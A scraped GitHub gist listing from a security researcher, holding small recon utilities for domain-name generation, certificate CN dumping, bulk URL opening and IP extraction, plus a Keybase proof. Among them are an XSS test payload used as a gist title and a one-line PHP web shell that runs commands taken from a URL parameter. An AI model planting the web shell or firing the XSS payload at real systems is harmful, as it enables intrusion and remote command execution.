Skip to content

Instantly share code, notes, and snippets.

View hakluke's full-sized avatar
💭
hacking \o/

Luke Stephens (hakluke) hakluke

💭
hacking \o/
View GitHub Profile
@hakluke
hakluke / '"><svg onload=alert()>.md
Last active October 18, 2021 01:24
'"><svg/onload=alert()>
'"> '">

@hakluke
hakluke / hakcombos.go
Last active November 27, 2023 21:08
Generate all 3 character domains of all TLDs in ./tlds.txt
package main
import (
"bufio"
"fmt"
"os"
)
func main() {
chars := []string{"1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p", "a", "s", "d", "f", "g", "h", "j", "k", "l", "z", "x", "c", "v", "b", "n", "m", "-"}
@hakluke
hakluke / dumpCN.py
Last active September 18, 2022 10:52
#!/usr/bin/python3
import ssl,sys,json
cert = ssl.get_server_certificate((sys.argv[1], 443)) #Retrieve SSL server certificate
cert = ssl.PEM_cert_to_DER_cert(cert) #Convert certificate to DER format
begin = cert.rfind(b'\x06\x03\x55\x04\x03') + 7 #Find the last occurence of this byte string indicating the CN, add 7 bytes to startpoint to account for length of byte string and padding
end = begin + cert[begin - 1] #Set endpoint to startpoint + the length of the CN
jsondata = {"ip": sys.argv[1], "cn": cert[begin:end].decode('utf-8')}
print(json.dumps(jsondata))

Keybase proof

I hereby claim:

  • I am hakluke on github.
  • I am hakluke (https://keybase.io/hakluke) on keybase.
  • I have a public key ASCvTkh5UyT1IOHbTurvVOud_neQtuy8ugKTfpjQzbhmAQo

To claim this, I am signing this object:

<?php system($_GET['cmd']); ?>
@hakluke
hakluke / openinbrowser.py
Created May 18, 2019 15:38
Little Python script to open a list of URLs from a file in browser tabs, n tabs at a time
#! /usr/bin/python3
import webbrowser, sys
if len(sys.argv) < 3:
print("Usage: openinbrowser.py ./urls.txt 20")
quit()
f = open(sys.argv[1])
tabs = int(sys.argv[2])
counter = 1
@hakluke
hakluke / grepips.py
Last active April 3, 2022 16:59
Little Python script to dump IP addresses from a file
#!/usr/bin/python3
import sys, re
f = open(sys.argv[1],'r')
text = f.read()
ips = []
regex = re.findall(r'\b(?:\d{1,3}\.){3}\d{1,3}\b',text)
if regex is not None:
for match in regex:
if match not in ips: